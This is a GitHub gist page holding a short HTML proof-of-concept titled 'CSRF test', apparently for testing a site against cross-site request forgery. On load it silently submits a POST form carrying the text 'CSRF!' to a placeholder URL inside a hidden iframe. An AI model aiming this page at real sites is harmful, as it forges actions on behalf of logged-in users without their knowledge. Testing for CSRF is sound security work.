Skip to content

Instantly share code, notes, and snippets.

@yaotti
Created December 12, 2009 17:05
Show Gist options
  • Save yaotti/254967 to your computer and use it in GitHub Desktop.
Save yaotti/254967 to your computer and use it in GitHub Desktop.
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML//EN">
<html>
<head>
<meta http-equiv="content-type" content="text/html; charset=UTF-8">
<title>CSRF test</title>
</head>
<body onload="document.getElementById('f').submit();">
<form action="/some/post/url" method="post" id="f" target="ifr">
<input type="text" name="body" value="CSRF!" />
<input type="submit" value="送信"/>
</form>
<iframe name="ifr"></iframe>
</body>
</html>
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment